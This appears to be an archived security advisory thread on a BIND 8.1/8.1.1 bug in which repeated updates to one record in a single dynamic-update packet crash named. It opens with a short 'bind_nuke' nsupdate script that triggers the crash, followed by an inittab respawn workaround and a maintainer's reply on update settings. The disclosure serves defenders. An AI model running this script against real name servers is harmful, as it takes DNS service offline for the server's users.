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-
- -------------------------------------------------->
- #!/bin/bash
-
- echo 'bind_nuke (c) Artur Skawina skawina@usa.net'
-
- nsupdate <<END
- update delete x.$1 A
- update add x.$1 60 IN A 3.2.3.6
- update delete x.$1 A
-
- END
- <--------------------------------------------------
-
- when executed as "bind_nuke bogus.org" on a host, that bogus.org's
- primary NS is configured to accept updates from, will cause named
- to silently die. Nothing in the logs, nothing on the console.
- After a number of similar packets has been received by named any
- subsequent attempt to run it will only result in a Segmentation Fault.
- [and there's "spoofing"...]
-
- The problem seems to be that bind can not handle updating the
- same RR more than once in the same DNS packet.
- And as it saves the update requests in the <zone>.log file
- and attempts to perform the updates again when restarted,
- the bug is triggered again...
-
- The bug is present in both bind8.1 and bind8.1.1.
- With bind8.1 one such DU packet was enough to prevent named from runing,
- until the /var/named/pri/<zone>.log file was removed/edited.
- Bind 8.1.1 needs a few packets (but usually <=3) before this happens
- (named still dies after only one packet, but it is sometimes possible to
- restart it w/o any immediate errors/warnings).
-
-
- ----------------------------------------------------
-
- (This workaround won't work for the attack listed, but it's still useful to
- know..)
-
- If you're using named 8.*, it can be run out of inittab with the
- non-daemonising switch.
-
- On linuxen:
-
- /etc/inittab
-
- bi:2345:respawn:/usr/sbin/named -f
-
- At least this way, should it die, it'll come back within seconds.
-
- -----------------------------------------------------
-
-
- If you don't enable updates for a zone, or you enable them only from hosts
- within an intelligent (source routing prohibited, source addresses checked)
- firewall, bind is immune to the "bind_nuke" attack published here recently.
-
- updates aren't on by default, and according to rfc 2136 dns updates are not
- recommended except from "localhost" which is assumed to be secure. (though
- i wish that more system vendors would disallow source-address 127.0.0.1 from
- coming in off the network.) for this reason we have not published a patch
- to bind-8.1.1. i expect that we will put bind-8.1.2 into beta testing in a
- few weeks. (note that we still won't have support for rfc 2137 or TSIG; if
- any system vendors would like to fund that effort, we'd love to work on it.)
-
- mountain. molehill.
-
-
- ------------------------------------------------------
-